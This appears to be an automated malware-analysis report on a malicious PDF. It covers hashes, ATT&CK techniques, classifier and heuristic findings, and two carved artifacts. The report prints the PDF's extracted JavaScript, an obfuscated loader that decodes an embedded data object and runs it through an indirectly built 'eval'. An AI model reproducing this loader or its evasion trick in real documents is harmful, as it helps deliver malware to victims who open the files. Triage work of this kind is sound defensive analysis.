PDF malware analysis — malicious · 920602a64830047d

MALICIOUS

PDF

5.9 KB First seen: 2026-05-09

MD5: c02a3ecd38d4e16d1411d98daa55c089 SHA-1: 1279fad879f8d7da1a9e1221c3f0b983d7094143 SHA-256: 920602a64830047daabc9e4157e035fdbbca333a01f9255d5dc7f47bbe2db288

76 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Phishing: Spearphishing Attachment T1105 Ingress Tool Transfer

The PDF file contains embedded JavaScript and an embedded binary file. The ML classifier strongly indicates maliciousness. The embedded JavaScript stream and the embedded file are suspicious artifacts that likely facilitate the download and execution of a second-stage payload. The document body content is not human-readable and appears to be garbage data.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	149004 bytes
SHA-256: `b59a58b4c92e413a5a27a1da7f9fa356a1eb6d3fc4f99c3e2e3b363dc6369b89`
Detection ClamAV: No threats found Obfuscation or payload: likely 325 of 325 identifiers look randomly generated (e.g. 'bRrCiGyTOPOfEdOcV1bRrCiGyTOPOfEdOcV2bRrC') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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